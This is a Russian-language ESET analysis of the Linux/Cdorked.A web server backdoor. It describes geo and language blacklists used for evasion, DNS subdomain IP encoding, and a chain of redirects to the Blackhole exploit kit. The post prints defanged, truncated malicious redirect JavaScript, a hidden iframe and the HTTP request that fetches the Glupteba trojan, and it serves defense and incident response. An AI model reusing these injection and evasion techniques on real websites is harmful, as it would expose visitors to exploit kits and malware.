В прошлой части нашего исследования мы обещали опубликовать продолжение анализа инцидента заражений серверов под управлением Linux с участием бэкдора Linux/Cdorked.A. Мы уже писали, что специалистами нашей лаборатории была установлена его главная задача, которая заключается в перенаправлении пользователей веб-сервера на вредоносные веб-сайты. Расследуя более детально этот инцидент мы пришли к следующим выводам:
- Всего было выявлено более 400 веб-серверов, зараженных Linux/Cdorked.A. Кроме того, 50 из них осуществляют для веб-сайтов, которые входят в Alexa ТОП 100,000 самых популярных веб-сайтов.
- Бэкдор осуществлял компрометацию веб-серверов не только под управлением Apache, но и Lighttpd, а также nginx.
- По данным наших систем телеметрии, эта угроза была активна уже с декабря 2012 г.
- Бэкдор использует дополнительные механизмы для обеспечения своей скрытности. В частности, нами было установлено, что вредоносный код не будет осуществлять перенаправление пользователей, если IP-адрес клиента находится в диапазоне адресов, указанных в черном списке. Этот черный список является довольно большим и включает в себя адреса, принадлежащие таким странам как Япония, Финляндия, Россия, Украина, Казахстан и Белоруссия. Кроме этого, проверка страны также выполняется по анализу HTTP-заголовка и параметру Accept-Language.
- Наша облачная технология показывает почти 100,000 пользователей AV-продуктов ESET, которые перенаправлялись на ссылки, сгенерированные скомпрометированными веб-серверами. При этом такое перенаправление на вредоносное содержимое было заблокировано антивирусом.
- В некоторых случаях мы наблюдали специальные перенаправления для платформ Apple iPad и iPhone.
В этом посте мы хотим остановиться более детально на возможностях этого бэкдора, которые были выявлены в процессе анализа, а также опишем более подробно доставляемый пользователям вредоносный контент и схему организации перенаправления пользователя на набор эксплойтов.
Следует отметить, что мы не знаем наверняка каким образом бэкдор попадал на серверы. Возможно вектор этой атаки не был уникальным. В то же время мы не можем сказать, что для его установки использовалась брешь в настройках cPanel, поскольку не все скомпрометированные сервера находились под его управлением. Бэкдор не имеет механизмов самораспространения и не использует уязвимость в ПО на сервере для своей установки.
На следующих скриншотах показаны места в коде бэкдора, в которых и осуществляется открытие удаленного доступа на вервер. Различные типы бинарных файлов, замещаяющие легальные файлы Lighttpd, nginx и Apache.
Lighttpd
nginx
Apache
Код бэкдора выглядит идентичным во всех трех вариантах, но перехваты, используемые внутри некоторых функций, различны, поскольку зависят от выбранного сервера и его структур данных.
Возможности бэкдора
Мы уже упоминали про команды, поддерживаемые бэкдором. В этом анализе мы остановимся на них более подробно.
Эти списки хранятся в области общей памяти, доступ к которой можно получить используя наш инструмент для анализа. Перечисленные в таблице настройки действительно дают атакующим прекрасную возможность точной настройки своего вредоносного кода при выборе целей для атаки. Linux/Cdorked.A хранит список IP-адресов уже перенаправленных клиентов с указанием времени перенаправления. Это позволяет избежать повторного перенаправления в течение указанного промежутка времени. Ни одна из этих настроек не хранится в файле на диске и модификация каждой из них выполняется через специальные HTTP-запросы, обрабатываемые бэкдором.
Типичная конфигурация бэкдора
С помощью системных администраторов, которые приняли участие в расследовании случаев инцидента компрометации веб-сервера, а также специалистов компании Sucuri мы смогли получить дампы регионов памяти, в которых Linux/Cdorked.A хранит свою информацию о конфигурации. Пример одного из таких дампов:
Пока нам не удалось получить ни одной конфигурации Linux/Cdorked.A, в которой бы содержалось более одного URL, используемого для перенаправления клиентов. Указанный редирект применяется к клиентам, которые осуществляют запросы к серверу, работая под браузерами Internet Explorer или Firefox на Windows XP, Vista, Seven. Пользователи Apple iPhone и iPad также оказались под прицелом, однако вместо перенаправления на набор эксплойтов, к ним применялась тактика перенаправления на веб-страницу с ссылками на порнографические веб-сайты. Следующий скриншот демонстрирует редирект на iPhone.
Мы уже упоминали, что конфигурация Linux/Cdorked.A включает в себя обширный черный список диапазона IP-адресов. Посетители скомпрометированного веб-сервера, пришедшие с одного из таких адресов никогда не будут перенаправлены на вредоносное содержимое. Фактически в конфигурациях бэкдора, которые мы наблюдали, блокированию подвергалось количество IP-адресов, которое представляет 50% от всех возможных адресов пространства IP v4. Клиент также не подвергается перенаправлению, если язык, установленный в поле Accept-Language HTTP-заголовка браузера, находится в черном списке. В такой список попадают языки:
- ja, jp – японский;
- fi – финский;
- ru – русский;
- uk – украинский;
- be – белорусский;
- kk – казахский;
Фактически злоумышленники специально ограничили географию распространения бэкдора, поскольку бесконтрольное заражение пользователей могло бы отрицательно сказаться на поддержании уже скомпрометированных серверов и наведение лишних подозрений.
Статистика перенаправлений
На самом деле эти вредоносные редиректы имеют нечто общее: в случае с Blackhole, при перенаправлении клиентов указывается часть «/info/last» в шаблоне URL-адреса. В наиболее ранних следах вредоносной активности, которые мы отследили, используется именно шаблон, в котором указана часть «/info/last», при этом использовались идентичные шаблоны DNS, о которых будет рассказано далее.
После анализа трафика, мы обнаружили более 400 веб-серверов, которые пострадали от деятельности Linux/Cdorked.A. При этом 50 из них осуществляют для веб-сайтов, которые входят в Alexa ТОП 100,000 самых популярных веб-сайтов. После публикации первой части нашего анализа, некоторые владельцы этих серверов произвели очистку серверов от этой угрозы.
Linux/Cdorked.A поддерживает временные метки последнего случая перенаправления для каждого IP-адреса. Мы смогли извлечь эту информацию из дампа памяти для того, чтобы оценить сколько редиректов один сервер может сделать в течение дня. Один из таких дампов содержал информацию о сервере, который осуществил более 28,000 редиректов за 24 часа. Такие серверы активны не все время, ниже показана статистика по перенаправлениям для нескольких серверов.
DNS Hijacking
Адреса URL-серверов, используемых бэкдором для перенаправлений, часто меняются. Однако здесь есть несколько закономерностей:
- Обычно путь к домену имеет вид: [числа, a, b или c][символы].[tld].
- Домен следующего уровня всегда имеет длину 16-ти hex символов.
Определенный формат поддоменов и тот факт, что они постоянно менялись дает нам основания полагать, что некоторые DNS-серверы были скомпрометированы. Мы провели несколько тестов, в которых сами модифицировали символы поддоменов и в некоторых случаях получили изменение IP-адреса при его трансляции. С некоторыми другими тестами мы смогли подтвердить тот факт, что IP-адрес, возвращаемый через сервис DNS, фактически, закодирован в имени самого поддомена. Для этого используются символы в нечетных позициях, которые формируют 4-х байтовую hex-строку, используемую потом для получения IP-адреса. Алгоритм XOR используется для формирования IP-адреса:
Для этого используется алгоритм.
byte[] = { 16, 70, 183, 11 } // From the hex string
seed = 49 // This seed changes, we have not yet found where it comes for
ip[0] = seed ^ byte[0] // 33
ip[1] = byte[0] ^ byte[1] // 86
ip[2] = byte[1] ^ byte[2] // 241
ip[3] = byte[2] ^ byte[3] // 188
// This gives us a response with IP 188.241.86.33
Цепочка перенаправления
В случае перенаправления клиента на вредоносное содержимое, он проходит через несколько специальных веб-страниц перед тем как оказаться непосредственно на странице набора эксплойтов Blackhole. На следующем скриншоте представлен пример такой цепочки.
Первая страница /index.php содержит параметр, который зашифрован с использованием base64 и был документирован в нашей предыдущей статье. После декодирования он выглядит следующим образом.
ljroujxv=isiuzv&time=1305022208-2007115935&src=141&surl=somedomain.com&sport=80&key=ED143377&suri=/tr/zeki.htm.
Эта страница содержит JavaScript, который перенаправляет пользователя на следующую страницу.
var iflag = "0"; if (top!=self) { iflag = "1"; };
var b64str = "MTQxNDExMzA1MDIyMjQ4M...luLmNvbS9zb3J0LnBocA==";
setTimeout ( function() { location.replace( "hxxp://ae334b05c4249f38" + iflag
+ b64dec(b64str) ); }, 280);
URL из второй страницы состоит из трех частей: начальный поддомен, значение параметра iflag и значение переменной b64str, генерируемое сервером. Значение параметра iflag устанавливается в 1, если текущий документ располагается в окне браузера на переднем плане. В таком случае сервер, скорее всего, отклонит запрос. Значение переменной b64str предоставляется сервером и содержит URL-адрес с очень длинной частью поддомена.
1414113050222483098587bcf02fc1731aade45f74550b.somedomain.com/sort.php
Третья часть URL содержит специфическую информацию о данном редиректе, такую как ID источника – src id, полученную из начального URL и отметку о времени – timestamp. Назначение остальных символов остается неизвестным.
Третья страница, sort.php, через определенный тайм-аут, направляет пользователя на четвертую страницу, exit.php. Типичная страница sort.php выглядит следующим образом.
function gotime() { xflag=false; top.location.replace(b64dec("aHR0cDovL2FlMzM0YjA1YzQyNDlmM...
...cD94PTEzNyZ0PXRpbWVvdXQ=")); };
var timer=setTimeout("gotime()", 21000);
var ewq;
ewq=document.createElement("span");
ewq.innerHTML=b64dec("PGlmcmFtZSBzcmM9Im...1lPjxicj4=");
setTimeout(function() { document.body.insertBefore(ewq,document.body.lastChild); }, 504);
aHr...XQ= : hxxp://ae334b05c4249f38014141130...
...50222483098587bcf02fc1731aade45f74550b.somedomain.com/exit.php?x=137&t=timeout
Эта четвертая страница показывает порнографические картинки и содержит ссылки на порнографические веб-сайты. Также страница содержит iframe, который ведет на страницу Blackhole. Пока непонятно являются ли ссылки на порно-содержание вредоносными или же представляют из себя часть партнерской программы. Ниже представлен iframe, ведущий на landing page Blackhole.
PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830...
...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true"></iframe><br>
Последним шагом становится загрузка вредоносной программы на компьютер жертвы, если один из эксплойтов успешно сработал.
GET /get3.php?e=176541242&tc=1305022250-072800c977&uid=536201305032119591656771 HTTP/1.0
Host: ae334b05c4249f38.somedomain.com
User-Agent: NSISDL/1.2 (Mozilla)
Accept: */*
Наши тесты и данные телеметрии показывают, что на компьютеры пользователей устанавливалась троянская программа Win32/Glupteba.G.
Восстановление
В прошлом посте мы уже рекомендовали системным администраторам проверять целостность основных бинарных файлов, хранящихся на сервере. Мы также опубликовали инструмент dump_cdorked_config для снятия дампа региона памяти, который хранит конфигурацию Linux/Cdorked.A. Этот инструмент был обновлен для обнаружения всех вариантов бэкдора, включая версий для nginx и Lighttpd.
Для пользователей сети мы рекомендуем своевременно обновлять браузер, его расширения, ОС, а также такое критичное ПО как Java, Adobe Reader и Flash Player. Использование антивируса также является хорошей практикой.
Автор: esetnod32
